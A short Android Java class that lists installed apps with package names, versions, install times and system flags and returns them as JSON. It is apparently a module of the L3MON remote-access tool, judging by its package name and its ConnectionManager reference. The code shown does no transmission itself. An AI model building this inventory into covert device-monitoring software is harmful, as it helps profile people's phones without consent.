package com.etechd.l3mon;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;

import org.json.JSONArray;
import org.json.JSONObject;

public class AppList {
    public static JSONObject getInstalledApps(boolean includeSystem) {
        JSONObject root = new JSONObject();
        JSONArray apps = new JSONArray();
        try {
            Context ctx = ConnectionManager.context;
            if (ctx == null) {
                root.put("apps", apps);
                return root;
            }
            PackageManager pm = ctx.getPackageManager();
            java.util.List<PackageInfo> packs = pm.getInstalledPackages(0);
            for (int i = 0; i < packs.size(); i++) {
                PackageInfo p = packs.get(i);
                if (!includeSystem && p.versionName == null) {
                    continue;
                }
                ApplicationInfo ai = p.applicationInfo;
                if (ai == null) {
                    continue;
                }
                String appName = ai.loadLabel(pm).toString();
                boolean isSystem = (ai.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
                JSONObject row = new JSONObject();
                row.put("appName", appName);
                row.put("packageName", p.packageName);
                row.put("versionName", p.versionName != null ? p.versionName : "");
                row.put("versionCode", p.versionCode);
                row.put("isSystem", isSystem);
                row.put("firstInstallTime", p.firstInstallTime);
                row.put("lastUpdateTime", p.lastUpdateTime);
                row.put("enabled", ai.enabled);
                apps.put(row);
            }
            root.put("apps", apps);
        } catch (Exception e) {
            try {
                root.put("apps", apps);
            } catch (Exception ignored) {
            }
        }
        return root;
    }
}
